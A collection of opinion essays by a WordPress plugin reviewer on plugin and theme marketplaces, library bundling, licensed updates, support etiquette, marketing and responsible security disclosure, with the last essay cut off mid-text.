Look. I think Envato is actually pretty awesome. They’ve made a way to help people monetize development within WordPress. I’m all about that! I want to see people making a living from WordPress and I want people to be able to succeed and make WordPress even better. A number of people I know who are currently successfully running their own WordPress related business got started over there.
So why don’t I use their products? I haven’t had a need to. I don’t use WooCommerce either, or their themes. There’s nothing wrong with that. But there is a ‘problem’ with Envato, or rather there’s one with ThemeForest, and it’s the same problem as we have on the WordPress.org plugin repository.
The last (and possibly only) time I mentioned them, I said I had an issue with their [lack of upgradability](https://halfelf.org/2014/self-update-your-plugins/ "Self-Update Your Plugins"). If I buy a theme or a plugin, I can’t easily get updates. I’m stuck on the old way of download when I get an email. There’s no way to do it easily from inside my dashboard. This is a problem of our own creation. Ten years ago, that was normal. Today, we have a reasonable expectation to easily upgrade WordPress, it’s themes and plugins.
I happen to know Envato’s working on it, so I still look forward to their solution.
But they have the *exact* same problem as we have with the WordPress.org plugin repository: crap code.
You see, there’s only no practical difference between the WPORG repository and ThemeForest and how it handles reviews except they actually may be checking on every upgrade. If you didn’t know, [ThemeForest does review things](http://lovethem.es/themeforest-review-process/). But they do it *exactly* like we do! They read the code, they test it, they look for evil things, and they approve or not.
Theme review on WPORG is a tighter ship than plugin, for a few reasons, but frankly I doubt the overall quality of code on WPORG (plugins) or ThemeForest is all that different. We’ve had some pretty insane vulnerabilities in plugins, after all, and the WPORG repository *doesn’t* have a great way of dealing with them. But to say that you don’t trust ThemeForest because the code quality is bad while simultaneously using any free plugin from ORG is naive at best.
The constant problem we have with plugins, and one they have with ThemeForest themes, is that we allow a lot of different types of code. In being liberal like we are, we can allow for a lot more creativity and expression and, well, art. The downside is that there’s a practical limit to what a human being will be able to catch. We’re like the TSA. We try, but we’re fighting a loosing battle and that’s why we’re always going to miss things and we’re always going to be running behind and cleaning up.
And worse they have the same problem with any code they yank. How do you upgrade everyone? When is it right and safe? When is it an overstep? Weighing security risks with information with compatibility is complex. For the WordPress.org repository, we have a long way to go before we’ll be able to push minor security updates like core can… at least not without a lot of fear and consideration. We’re on the road there, though, so one day you may wake up to a plugin magically secured on your site.
Oh and as a reminder? If you see a WordPress.org plugin hosted that is insecure or doing evil things, email with the plugin URL and all the possible information about how it’s insecure. If you know how to hack it, please tell us exactly what you did. You make it faster for us to sort things out.
For Envato, you can report these things via their [Helpful Hacker](http://webuild.envato.com/helpful-hacker/) program.
**Categories:** How It Is
**Tags:** essay, plugins, security, themes
---
### [If You Call Yourself a Developer You Should ...](https://halfelf.org/2015/call-developer/)
**Published:** May 13, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There are expectations that come when you make a claim of being a 'developer of ten years.'
**Content:**
Sometimes people scare me. Mostly it’s people who start a conversation with some variant of “I’ve been a developer for X years and I’ve never experienced a conversation like this…”
It tends to come up when I kick someone’s code back and remark “Remove your own jQuery, delete the demo folders, and your domain name is a problem so change X to Y.”
They get upset because I’ve not spelled out, specifically, to the letter, what’s wrong and where. I’ve had those conversations with everyone from a mom-and-pop shop coder to Microsoft and it really only bothers me when people are running dev companies and ask things like “How do I find that?” or “Where is that code?”
So here are my rules of what a Developer should know:
## Know Logic
You should understand logic. Not Spock Logic. Math Logic. And Computer Logic. Don’t worry. I don’t think you need to be a math rock star to write code. I think that if you understand basic algebra, which you may be surprised to know you do, then you’re okay. But you have to understand the most basic of logic gates:

Can you look at that and understand the differences? Great. Write some code. Understanding the elementary building blocks of circuits, the A or B, the Yes or No, is the crux of programing. If you can’t logic that out, you should stop and read up on it. Most self-taught programmers have intuited that, but at some point they had a class in Boolean Algebra and learned this. Maybe it wasn’t called that, but most of us had that class in at least High School. You’ll need it.
## Know Grep
You need to know how to search all the files in your code. If you’re on a linux flavor, grep or ack are your best friends. So when someone says “I see you’re calling domain.com in your code, why?” you know how to find that, even if they don’t give you a line.
## Know What You’ve Got
You need to know all the packages added to your code. Did you add a library or a sub-module? This is your responsibility to know what they are. That way, when someone tells you to ‘remove the X module’ you’re not surprised. If it’s in your code, you should know what it is.
## Know What You Need
You need to know what those packages are adding to your site. Did you download a whole jQuery library with all the demo files and a version of jQuery and the help docs? Do you *really* need all that? Dollars to donuts, you don’t. Don’t let your code be cluttered by what you don’t need. It’s more work to maintain it, and if there’s a security hole in it, you still have to be aware of it. Save yourself time, effort, and a hack. Leave out what you don’t need.
## Know What To Use
You need to know how to edit the various filetypes. Personally I don’t care what you use. I like Coda. My friends like Sublime. I don’t care. Just make sure you use something that works for you and helps you work better. While you can do all your programing in Notepad, I wouldn’t suggest it. You will need tools to help you keep track of the complex world you’re building. Sometimes you’ll have to use a specialized tool.
## Know How Your Tools Work
Did you know Github makes a downloadable zip of your code? Did you know that zip *doesn’t* include submodules? Did you know Github forks aren’t searchable? You should. I have a few awesome tools, like Coda, which lets me search my repositories and find code. I use BBEdit to search zips. I use a new tool to compare folders when I don’t have version control (for whatever reason). But I know how they all work.
## What Else?
What do you think is imperative for someone who calls themself a professional developer to know?
**Categories:** How It Is
**Tags:** coding, development, essay
---
### [The Trouble With Libraries](https://halfelf.org/2016/trouble-libraries/)
**Published:** March 7, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The recent brouhahah with plugins and frameworks (and libraries) brings up serious problems and no perfect solutions.
**Content:**
I’ve had the same argument over and over, to the point that people follow me here and complain that I suck. You’re welcome. I’m going to spell out the issues, as I **personally** see them with frameworks as plugins. If you want to talk about this in so far as it applies to the WordPress plugin repository, please read [this post](https://make.wordpress.org/plugins/2016/03/01/please-do-not-submit-frameworks/) and keep the discussion there.
## The Problems
Problem 1 – Users have no idea what the ‘library’ plugin is for.
Most users understand “I have an add-on for WooCommerce, I probably need Woo.” They do not always understand “I have plugin Slider Joe. Why do I need Advanced Custom Fields?”
Problem 2 – We don’t have true ‘dependancies’ in WordPress
I think everyone can accept that’s a problem. We literally do not have a perfect way to require things. Look at Themes. If you try to delete a parent theme, you get warned there are children around. We don’t have that for plugins. We probably should.
Problem 3 – Users are responsible for something they don’t understand.
By having a library as a plugin, the onus of version compatibility and updates is now on the person least likely to understand it when it breaks: the user. They have to update the library, and your plugins, every time there’s a new version.
Problem 4 – Frameworks and libraries can no longer break backwards compatibility.
This is hugely restrictive, by the way. With a framework-as-plugin you can’t break things because you (the framework developer) are responsible for *all the plugins that use your framework*. If you break how things work from V1 to V2, and one of the myriad plugins a user has *doesn’t* work on V2, and the user updates your framework, you broke things. True, this was always the case, but at least the plugin contained the library and could use it’s own version.
Problem 5 – Plugins will still break.
I have to say ‘still’ because we have one version of the problem today, and we’ll have another tomorrow. Right now, if four plugins include the same library, and they’re all different versions, we don’t have a clear and perfect way to know which version of the library the user will get. Tomorrow, if a framework is a separate plugin, there’s absolutely no assurance than every plugin that requires that library has been tested with the version the user has install.
## The Options
Today we really have two.
Option 1 – Frameworks are plugins and users have to install them.
This means all new plugins that include said framework have to remove it and change it to a require. All existing plugins should be contacted and told to change their code. Some users will complain about installing ‘extra’ plugins and some developers will lose users (it’s already happened).
All developers have to put in this requirement themselves, possibly using a library like TGM (until we have dependancies). *Also* all developers have to ensure they, now and forever, keep up with the frameworks and ensure compatibility as well as proper alerts if a user removes the framework by accident. Their code has to break elegantly if the user *doesn’t* upgrade the library. Your plugin takes advantage of the latest feature in a framework? Awesome. Make sure your plugin checks “If this feature exists, use it” and fails *gracefully* if not.
Option 2 – Frameworks that are not ‘functional’ frameworks, but really libraries are treated as all libraries are with all projects, and included separately.
Developers have to code the calls to the library, making sure that the ‘right’ version is included no matter what someone else includes. Developers also have to update their plugins when a library updates. though if they properly handle the code calls, they don’t HAVE to. They could use namespaces and cleverly call `use MYPLUGINAWSSDK as /aws/AWS/foo/bar` instead, so their version is what’s used. They’ll probably want to code in a failsafe “If a version higher than mine is used, show a warning.”
## The Solution
Looking at the options we have today, we have to ask “Which is better?”
Neither. They both suck for developers. They both suck for the users. They both frustrate everyone. I have heard arguments from the same number of *developers* for each option. Some developers want to include the ‘core’ or a framework in their plugin because it’s ‘better’ than requiring another plugin. Other developers want the other plugin so they don’t have to be responsible to update the library.
There is, clearly, an argument to be made in both cases. There isn’t a win here. Personally, I think once a framework or library exists as a plugin in the .org repository, you should remove it from your plugins and require it. Of course, good luck figuring out how to do that in a sane way without breaking people. The best I came up with was have a period of time where you keep the library while using TGM or something to require the other plugin. Make an alert or notice to tell users to install the requirement. Keep that for a whole major version. Then, on the next major version release, drop the library.
With all that in mind, we have to ask this instead “Which option annoys users slightly less?”
That’s #2 – libraries as libraries, not plugins. The one where the users don’t have to know (or care) about it anything except “I have plugin X.”
**Categories:** How It Is
**Tags:** essay, frameworks, plugins, wordpress
---
### [Arbitrary Component Upgrades Are Not Helpful](https://halfelf.org/2015/arbitrary-upgrades-harmful/)
**Published:** November 25, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Is Bootstrap making the biggest mistake by upgrading a component when they don't need the benefits?
**Content:**
Often WordPress gets shit for still supporting PHP 5.2. In fact, while they *recommend* 5.6 or up, WordPress still works on 5.2 and probably will for years to come, even though everyone knows PHP 5.2 is buggy, insecure, and not supported. No sensible webhost still uses it if there’s an alternative, but sadly [there are reasons why some hosts are stuck on it](https://halfelf.org/2015/road-php-5-x/).
Why does WordPress still work on 5.2? Because there’s little benefit to be had in upgrading, and only harm. As I’ve said before, [in the name of progress we run the risk of running ourselves right off the cliff](https://halfelf.org/2015/i-am-20/). There’s nothing in 5.4 that WordPress *needs*. Please remember that I am a stickler about needs vs wants, there’s a lot we want, but nothing that is critical and that cannot be accomplished in a PHP 5.2 world. One day that will change, and when it does, we’ll rethink this whole argument. But right now, there is no need.
My fear with a PHP 5.2 upgrade is that the people we would hurt with it are the ones least capable of resolving the problem. If we showed users an alert on their admin dashboard saying “You’re using PHP 5.2, please contact your hosting administrator and ask them to upgrade to a modern, secure, version of PHP” then we’re telling the *wrong* people something. It’s not the users who need to hear this, it’s the webhosts. And speaking as one? We know. Not only do we know, we actually care more than you do, and we’re working on it for everything *not* because of WordPress and it’s 25% market share, but because we know it’s the right thing to do.
But this is not a PHP version debate. This is actually a reflection on something happening today. You see, WordPress still uses the 1.x branch of jQuery. Why? Again, it works. There’s no reason to upgrade to jQuery 2.x and doing so would break things. Among other reasons, WordPress still supports IE 8 which is used by 11% of computers out there. That’s not a small number. In fact, 11% of *WordPress sites* still use PHP 5.2! You see the situation? 11% is not insignificant.
This comes up because [Bootstrap 4 has decided to drop support for the jQuery 1.x branch](https://github.com/twbs/bootstrap/pull/17494). As far as I understand, they don’t want to support IE 8 and it’s 12% smaller. There isn’t a single code benefit that is included in jQuery 2.x that Bootstrap is using and, since jQuery 2.x is compatible with 1.x, you can switch back to it right now without any loss. But they don’t want to support IE 8. In fact, they don’t support it, and from that perspective it sounds wise, doesn’t it?
It’s not.
WordPress includes its own version of jQuery (still on the 1.x branch) and many other similar JS files, which have all been rigorously tested with both WordPress and many of the most common plugins. In order to provide the best compatibility and experience for users, WordPress asks that you *not* package your own (especially not an older version) and instead use `wp_enqueue_script()` to pull in WordPress’s version. There are many reasons for this but the simplest are as follows
1. WordPress *has* jQuery. Save diskspace and leave your own out.
2. If every plugin and theme removes WordPress’ jQuery and uses their own, there’s a potential for conflicts. Who’s jQuery wins?
3. Using your own jQuery changes the way WordPress plugins and themes may work in unexpected ways.
Can you remove jQuery and use your own? Of course! You just can’t host your code on WordPress.org if you do that.
Now, there’s a missing metric here. What the percentage of sites using Bootstrap are on WordPress? For that I’m going to have to extrapolate. Looking at [builtwith trends](http://trends.builtwith.com/docinfo/Twitter-Bootstrap), it looks like 1.8% of the entire Internet uses a site with Bootstrap. Joomla 3.x uses v1.11.3, Drupal 7.x uses jQuery 1.4.4, and Drupal 8 will use 2.1.4. Remember this is a total rewrite of Drupal, though. They do not concern themselves with backwards compatibility when they jump to new versions, and that means you cannot measure the percentage of sites on the internet that will use Drupal 8. We can reasonably assume, since WordPress is fully backwards compatible, that the 80% of WordPress users who are on the 4.x branch *will* upgrade to 4.4 in December, and continue to do so for the future.
Even if we cannot claim that 25% of Bootstrap sites are on WordPress, we *can* argue that with all major CMSs currently using jQuery 1.x, Bootstrap is about to kick a significant portion of their audience to the curb. Of course, not even 2% of the Internet is using Bootstrap. Will that be a great loss for the Internet? Not really. But it will incur a massive lost to Bootstrap.
This real life example is *precisely* what I mean when I say that I worry about the user experience with our bold assumptions in our projects. Bootstrap’s logical assumption, that since they don’t support IE 8 there will be no loss by moving to components that don’t support IE 8 either, is a fallacy. They are thinking only on one level. They’re only seeing the ‘benefit’ (and I use this term loosely) of formally ending support for a user-base they never supported in the first place. This won’t impact *their* users, so it doesn’t matter.
What they’ve neglected to consider is that their userbase actually encompasses *other* people who support IE 8. So while we know that no one using Bootstrap and WordPress supports IE 8, simply by dint of using Bootstrap, this new jQuery version actually forces them to exclude them, instead of passively. And by doing this, they will shortly find plugins and themes that use Bootstrap 4 rejected from the repository, which will only harm adoption of Bootstrap as a framework.
This isn’t a threat. This is reality. This is the difference between “We don’t support IE 8” and “We would rather not support IE 8 than be compatible with 25% of the Internet.”
Looking at it that way, it’s a simple call.
Put jQuery 1.x back in. Make 2.x a recommended option. And move on.
**Categories:** How It Is
**Tags:** development, essay
---
### [The Details of Your Life](https://halfelf.org/2015/details-life/)
**Published:** December 4, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Your pain doesn't really make anything go any faster.
**Content:**
> Becuase it’s my son’s birthday this week, can you please do X faster?
I get emails like that a lot. It has to do with the nature of my volunteer work. It doesn’t really matter what the actual, technical, request is. Pretend it’s a request to reboot a server.
I don’t need to know that your partner left you, took your dog and your truck, and so it’s really the worst day in the universe for your site to be down.
The truth of the matter is I really don’t care. No one in support (dev or tech or any) actually cares about the country song that is your life. This doesn’t mean we don’t emphasize with you and feel sorry that you’re having a crappy day. It means the crappiness of your day doesn’t magically make us be able to do things faster.
That server reboot? All the sob-story in the world will just not make your server reboot faster. Got a security issue? Ranting about how life is unfair doesn’t get it fixed and reviewed faster.
We do get it. You’re having a shitty day and this one thing, this item that appears to be at the arbitrary whim of some relative stranger, is holding up your ability to feel better. Except we’re not. We’re following process and procedure for a reason. The world is bigger than just you, and we have to consider all of it when we do a thing.
If rebooting your server impacts more people than you, say 500 other people, then we can’t just reboot on demand. We have to ensure we won’t break them either. If the security fix isn’t complete, or worse, we find more insecure things, we can’t wave our hands at it. We know what hackers look for and we want people to be safe.
When you’re having the worst day of your life, when your server is down or your plugin is closed or your account is locked out, stop making it worse. Take a deep breath. Remember that the world is a big place. Ask politely and trust that the people are doing things to the best of their ability and speed and safety for you and everyone else.
**Categories:** How It Is
**Tags:** essay, support
---
### [Circular Arguments Need Research](https://halfelf.org/2016/circular-arguments-need-research/)
**Published:** January 18, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The circular arguments, that silence proves success, or at least an acceptable status quo, need to be thrown out on their ears.
**Content:**
There’s something I hate about the fact that they charge for tampons and pads in bathrooms. I understand the financial outlay of providing a ‘service’ but at the same time, the collection method means that most of us never use them. After all, on those occasions when a woman needs a tampon or pad from those machines right bloody now, we probably don’t have our purses with us. Most women I know keep at least one in there for just such a moment, after all. If we don’t have our purses, guess what else we don’t have? A dime! In my experience, any time any woman has stared at that machine with a look of hopelessness and despair over their lack of a dime, another woman has brandished her personal emergency tampon and handed it over without a second thought.
So why do they charge? Well if they didn’t charge, then people would just take them and that would be a financial loss. I get that. Except, as my friend Mark Jaquith put it:
> Financial outlay is an imprecise way of validating the intensity of a need.
The day I had my great-tampon-rant was the same day I’d argued with some folks about marketing. Someone who is a ‘known’ person in the WordPress community got a bog standard email from a hosting company. It was one of those emails that looked like it was meant to feel personal, but was really just a sales pitch about what the company was and how they worked.
The thing about that is I’m pretty damn sure the person who got the email knew all of that already. He may have known it better than the ‘person’ who sent the email. I say ‘person’ in quotes because I’m sure it was an automated campaign set to hit up people who’d emailed or used a contact form and asked a question.
And this bothered me.
If the email *hadn’t* made an attempt to be personal, and instead just said “Hey, you used our form/emailed our service address recently. Did you get all the help you needed? Do you need to talk?” I would have been just fine with it. And if he’d checked a box to say “Please contact me about stuff!” I’d similarly say “Well you deserved that one, B.”
The reality is that he filled in a form to get a ‘report’ that he wanted to read and got that personalized email within an hour. The company offered something for ‘free’ but the cost really was data collection. Furthermore, the penalization was immediate solicitation.
It doesn’t matter who the company is. This could be mine (it’s not) or yours (it might be). Pretty much every company known to humanity has done this at least once. And every company uses the justifications that the marketing strategy converts people into sales, and thus it’s fine. We all accept that marketing automation is hard, that identifying people we should be reaching out to and separating them from the ones who will just be annoyed by our hard sells is extremely difficult.
Remember what Mark said?
> Financial outlay is an imprecise way of validating the intensity of a need.
Not enough women using the pay-for tampons and pads is (part of) why they’re never going to be free. Women don’t use them because they’re pay-for (and we rarely have the damned dime).
The ‘need’ of tampons is not being correctly measured.
With those marketing emails, I would say this:
> Financial boons are an imprecise way of validating the effects of a campaign.
Yes, I’m aware I just said that “Making money doesn’t mean your campaign was successful.”
Except that’s not what I’m saying. What I’m saying is that the effects of your marketing are more than *just* financial. If you send out 1000 emails and get 1 sale, that sounds like ‘free money.’ Very little output and work nets you money. Everyone wants this. The problem is how many people did you chase away? What *net negative* are you creating? We’re not tracking the information in a way that lets us know this. We’re just thinking that any news, any discussion, and any income means it was good and effective.
Let me ask this differently. How many auto-play ads have you seen on a website that made you like a product *less*? How many websites have you quit visiting because you can’t stand their ad practices?
Not all press is good press. Forbes recently had a snafu where [they asked you to turn off adblocking only to serve up ads with malware](https://www.techdirt.com/articles/20160111/05574633295/forbes-site-after-begging-you-turn-off-adblocker-serves-up-steaming-pile-malware-ads.shtml). They had a rather immediate and vocal negative impact. I doubt that level of embarrassment and pain will hit this company, but at the same time, we should be looking towards other, better ways of attracting new customers.
## This Can Be Fixed
Looking at the situation that led to this in the first place, requiring an email to download a report is an obvious ploy to gain a list of people to contact. There was no attempt to opt in and no information that the email would be used for marketing. Step one is to disclose that. Step two is to actually make that opt-in. Step three is to provide some additional reward. “Do you like reports? Click here and we’ll send you our next one right away!” Then when you send those next reports, you can put a little footer for sales. “Interested in our stuff?”
Step four is the hardest. Curate the damned list. Remove all your customers. You already have their emails, you don’t need to email them about your services. Put them to the side. Next you want to remove people with emails like support or webmaster. In addition, you’ll want to check your list for people who already know about your product. WordPress is an incredibly small community. There are some people who just are not ever going to be your target audience, who aren’t going to need that sale, and you don’t need to bother them. They’re also the ones who will uncheck the marketing email, of course, but just in case…
Step five is handling your existing customers (the ones you removed in step four). Put them on separate list to target with different emails. “Hey, you’re already our customer and we noticed you liked X. Would you be interested in Y and Z?” Of course if your customers have checked that box to say “Don’t email me with marketing stuff” then you damn well better respect it.
For step six I want everyone to *stop* pretending these are personal emails. Shut up. Give up. We know, okay? We absolutely, 100%, without a doubt know that you automated this stuff. And that’s totally okay. But you cannot claim personal emails, from real people, while not vetting the people to whom you’re sending email in the first place. Okay? Good. Now go be quirky! “Hi Mika! I set up our robots to email people who downloaded X because I wanted to make sure they knew about Z and Y! Hate these emails? Click here and we’ll delete you from the database.”
## But Can It Be Automated?
Not entirely. No. The real question is ‘Should it be automated?’
This goes back to Forbes. They automated their ads. They set it and let it run without review. Obviously the answer *there* is ‘No, that should not have been automated.’ It’s easier to ignore them and trust the ad company. That said, regularly I go through the ads on my site and delete them when I find them annoying or offensive. Yes, I curate my ads. And if someone tells me “Hey there was an ad for porn” I go look for it!
As much as we’d love to automate these things, we can’t. We just need a human taking a look now and then to go “Hang on…” Marketing cannot be set it and forget it. We have to look at the return on investment. We have to understand what impact, true impact, our campaigns have. We can’t just look at the net income, we have to be aware of the seemingly invisible loss.
And as for those tampons? We need a better metric than just “Well some people pay for them, but not enough to make us think a lot of women will use them if we give them away for free….” Maybe they could just have a nice box of tampons and pads in every stall, where you can press a lever and one item falls out every X minutes. Or maybe that idea of a drop of menstrual blood works in place of a dime… At any rate. The point is assuming things as successful because of a lack of response does not actually mean they are.
The circular arguments, that silence proves success, or at least an acceptable status quo, need to be thrown out on their ears.
**Categories:** How It Is
**Tags:** essay
---
### [The Despair of Licensed Updates](https://halfelf.org/2016/despair-licensed-updates/)
**Published:** April 20, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The drama is that which we brought on ourselves.
**Content:**
I am a massive proponent of people making money off of plugins. I think they can and should find a way to create a business in this ecosystem we’ve created.
There’s a problem with the approach of some of these products, and in a way we created it ourself, and it hit WordPress 4.5.
There is a plugin, it doesn’t matter which one, that’s a premium plugin. It’s not available for free on WordPress.org. You have to buy it, get a license, enter the license into the plugin, and in that way get updates. That’s fine. But there’s a complication. Actually a couple.
## Licenses Expire and People Aren’t Informed
That’s a big ‘no kidding’ moment, but they do expire. And people don’t always notice that their license expired. Even if you post a big sign on the dashboard and email them.
Worse, people don’t know they have license. One of the major problems with software, when purchased for a company, is ownership. If I buy an app on the company dime, it’s their app. But when I buy an app for someone I’m building a site, and I pay for it myself, even if I charge them for it, who owns it? Who keeps the license? Who has the information for running a site?
This is an aspect of WebDevelopment where we collapse, regularly. Not just WordPress, every single person who builds websites for someone has screwed this up at least once. Either the information isn’t clear, or it’s not there at all. Regardless, what happens in the end is you have someone who lacks the information they need to keep their company going.
## The Plugin Is Often Bundled in Themes
This is worse than you think. The official directions for this says that if your theme bundled it, and you need an upgrade, you need to wait for the theme to upgrade *or* you need to buy a license yourself. That’s perfect, to me, except for the problem I mentioned before. People don’t *know*. I’m not sure how they should know. But those bundlers, they’re so very problematic because they remove users one more step from the information.
If I buy a theme, and it has a library inside it, it’s the job of the theme developer to update that theme regularly, test it with WordPress before the new version comes out, and push fixes. If I buy a plugin, ditto. When the stream cross, though, is where we have the drama. Because I know I bought the theme, but I do not know that I bought this mystery plugin, hiding deep inside. Now it’s the theme owner’s job to update and make sure I get the information right away.
## Pretty Much No One Gets It Right
Not even people I respect get this right all the time.
Let’s say you’ve written a plugin and have decided to handle all the updates yourself. I buy it, install it, and it works, everyone’s happy. What happens when I stop paying my license? Well I stop getting updates, that’s for sure. But do I still get *notifications* about them? Do I get an email? Do I even get an update?
There are some plugins that are free from pay-walled sites, but if you don’t have an active license for that free plugin, you will not get updates. At first I thought it was strange, since if I had a free plugin why wouldn’t I put it up on WordPress.org, right? But then I realized they’re creating the relationship. Once you ‘buy’ the free plugin, you have an account and information in their system. If it’s free, you’re the product.
All that aside, it comes back to the problem of what happens if that license, free or not, lapses? You could be annoying and pop up on the settings page “Hey! The license expired!” but people hate that and ignore it. You could email, but they ignore that too. There really isn’t a great way to remind people that (a) the license expired and (b) there are updates available.
## Or Is There…?
What if the updater kept checking, license expired or not, and when you clicked to upgrade it alerted you?
> You license for Foobar has expired. Please renew it in order to upgrade.
What if you got this email?
> Hey, you bought Foobar back in 2014 and that license lapsed. Normally I’d never bother you, but today I’ve pushed a major security fix. Since this is a security release, I’m offering you a discount. It’s already applied to your account, just log in and you can buy the upgrade at 50% off. If you’re not using Foobar anymore, click here and I’ll have your account flagged so we don’t bother you about this again.
How happy would you be to find out someone saved your soy bacon?
This would require the original developers to have your information, which they probably do, and some way to track those two things. That is, did your license lapse and do you care? That’s all they need to track and only one is an ‘extra’ since I’m reasonably sure everyone tracks the license.
## Make It Easy
If you make it easy for someone to know “This has been expired, here is one click to pay” *people will pay*. Yes, we love free, but we love easy even more. If you make it easy to pay, people will renew and pay. If you inform them of security issues, they will pay and upgrade. If you push them, the good way, about your updates, and make sure they know, they will be safer.
And then, when WordPress upgrades, your users won’t hate you.
**Categories:** How It Is
**Tags:** essay, open source, plugins
---
### [Balancing Information and Monetization](https://halfelf.org/2016/balancing-information-monetization/)
**Published:** July 29, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some thoughts on monetizing the web.
**Content:**
One of the many ways in which newspapers are failing online is in monetization. We have very few options, when you get down to it.
1. Ads
2. Subscriptions
3. Donations
No company can really survive off donations, so the question really becomes how do we balance ads and subscriptions? Many newspapers have tried the simple tracking method of allowing people to read X number of articles before informing the reader they have to pay. Others throw up splash ads before the article is posted. And another one shows only some of the article before requiring registration.
They’re all problematic.
Users ignore the ads, they don’t register, and they walk away instead of reading. The issue for the user is that they want as few barriers as possible between themselves and the news. They want to pick an article, click the link, and read. To be inundated with ads and signup popups is annoying, and I suspect the attrition rate is abysmal.
This only gets worse when ads get ‘clever’ and make it hard to find the X to click out and get away from them. They trick users into clicking the wrong thing, which only annoys them more. Plus ads can slow things down on mobile, which is increasingly the way for things to go.
Recently I caught myself thinking that one way to encourage registrations in WordPress would be to have the post content ‘disappear’ after X days, unless the user was a member. Of course, that wouldn’t work for all sites, as not everyone wants to register on People.com. Also the old, archival news on The New York Times are things that really only the deep diving researchers (and weird net denizens) are after. Considering we can all go to the library and look everything old up on Microfiche, why do we have to pay for everything old?
So what should be limited?
How about we start with that cesspool of the internet: Comments. This is a double edged sword. If you allow open comments on a news site, consider requiring registration for them. This will allow you to more easily track and ban assholes. Sure, they can make new accounts, but in doing so you can follow them and block them. A win for everyone. Also you can track people who false-report bad people. Spam catchers will stop most bots from signing up at all.
In addition, you can turn off comments for older posts to non-paying users. After 45 days, only paid up members can comment. And make sure you don’t offer refunds if the guidelines are violated. If haters are gonna hate, make ’em pay for it.
Aaron Jorbin – Haters Gonna Hate (by Helen)As for what content to restrict, it has to be more granular than just time. Take an election year. *All* articles about Hillary Clinton and Donald Trump should be readable. But read-only. No comments on any of them. Be realistic. Someone famous dies? Unlock all their posts so everyone can read all about them. The Olympics should have historical, important, events unlocked, but at the same time you don’t need every little detail.
This would be a tremendous amount of work, don’t get me wrong, but the days of assuming the internet is free money are long over. If we want people to pay us for content, we have to make it worthwhile.
**Categories:** How It Is
**Tags:** essay, monetization
---
### [Dog Shaming Disclosure](https://halfelf.org/2016/dog-shaming-disclosure/)
**Published:** August 22, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Publicly shaming people does not make them better. So stop it.
**Content:**
You’ve probably seen this. A dog with something around their neck saying “I ate the carpet.”
We think that it’s funny because the dog often has no real idea what they did wrong, and we’re embarking the absolute absurdity of the moment. At the same time, we’re terrible people because we’re mocking a creature who can’t understand what we’re doing. So we’re pretty shitty people.
This is not about any one specific company or group or person. This happens weekly. I see people tweet and post and point fingers in public well before they ping people privately or directly. I see people come into Slack and announce “This is vulnerable!” I see people post in forums the same thing. Some of these people don’t know any better, but worst is when they *do* know better.
While we bandy about the need for responsible disclosure of security issues, and the need for quick resolutions, I feel that we are often too quick to point and shame and accuse. We want to get the news out about a problem so fast, to get people’s eyes and attention, that we forget about the humanity behind the product.
Also we forget how hard we hit.
## Public Embarrassment
When someone screws up in public, they are shaming themselves. Like the Olympic diver who belly flopped, or the hurdler who ran right into the first hurdle, when gaffs are televised world wide. They go on YouTube, they’re tweeted and pointed at for years. We will remember them for a long time. But that is embarrassment someone has done to themselves. People are people and release press notices too soon, push code early, and make mistakes. When someone does it to themselves, it’s galling and embarrassing, and they feel terrible. Their friends tell them it happens to everyone, and to learn from the mistake and do better next time.
## Public Shaming
On the other hand, there is the ‘friend’ who publicly shouts that someone screwed up. They are metaphorically hanging a sign around someone’s neck and saying they suck. To the world. Now yes, they screwed up, but a human’s natural reaction to that is anger, pain, and a lack of desire to fix it because they’ll just screw up again.
To make this more simple, public shaming creates a bad environment. It discourages innovation with fear.
## Responsible Disclosure
Two years ago, Andrew Nacin talked about how [security is nuances](https://nacin.com/2014/05/30/security-is-nuanced/).
> There will always be individuals who want everything to be fully disclosed, and there are some great arguments for that. I’m not trying to sway you one way or the other. But if you’re trying to do the right thing — you’re doing full disclosure in the interest of users, possibly even providing a patch or steps to mitigate — working with the vendor is a good way to ensure you haven’t missed anything.
Unlike Nacin, I do want to sway you to one side. I *want* to sway you to the side of communication.
If you find a security hole in a product, the first reaction should be to reproduce it as best you can, write up *exactly* how it can be exploited with examples and Proofs of Concepts, and then contact the developers/vendors about it. Give them some time to reply. Ask them what they would agree a reasonable disclosure timeframe could be, talk and negotiate what would make sense for the product, the situation, and the developers. I want you to think about when releasing the information will harm the *fewest* people.
Being responsible means thinking beyond the simple “This should be fixed for people.” It means “This should not put more people in danger.” It means you have to look at the big picture. Is it reasonable to expect people to update right away and, thus, you can release full disclosure with the update, or is it more realistic that it may take a while? What about bundled products? Will they get the alerts timely or not?
## Forget First, Embrace Most
But above all else, we have *got* to stop this behavior of ‘First!’ Because that’s what’s going on. People are in a rush to be the first to report a problem or an issue, and in doing so they forget who they’re doing this for. Forget being first. Start caring about the people you’re posting the information for. Is this helping the most people?
Publicly dragging someone through the muck, starting a witch hunt, just because they screwed up doesn’t help anything. It makes for an unhealthy developer community, and it makes for user base that cannot trust the developers.
**Categories:** How It Is
**Tags:** essay, open source, rant
---
### [The Time and The Place](https://halfelf.org/2016/time-place/)
**Published:** September 2, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's a time and place for everything, and this was neither of those.
**Content:**
It was the day of a big release. A major release. A release that had been announced weeks, if not months, in advance. Everyone who was anyone knew that *today* was the day. So why not publicly drop the news of a major issue with the project in the middle of that release?
It was the middle of the development meeting. Everyone was talking about issues with a part of the project. They were deep into the hell that is debugging and backtracking and arguing if things should be fixed or simply noted. So why not ask for help about an issue one user was having?
This is not about WordPress. Well. It is and it isn’t. It’s about understanding who you are, where you are, and what’s going on around you. It’s about awareness and acceptance. It’s about being a part of something greater than yourself.
This is about common sense.
In Festivus, there’s a time and a place for the airing of grievances. In Judaism, we have a time and place for atoning for sins and forgiving others. While you certainly can do these things at any point in time, the purpose of having set and established periods for them is to prevent people from being derailed, to stop breaking the flow.
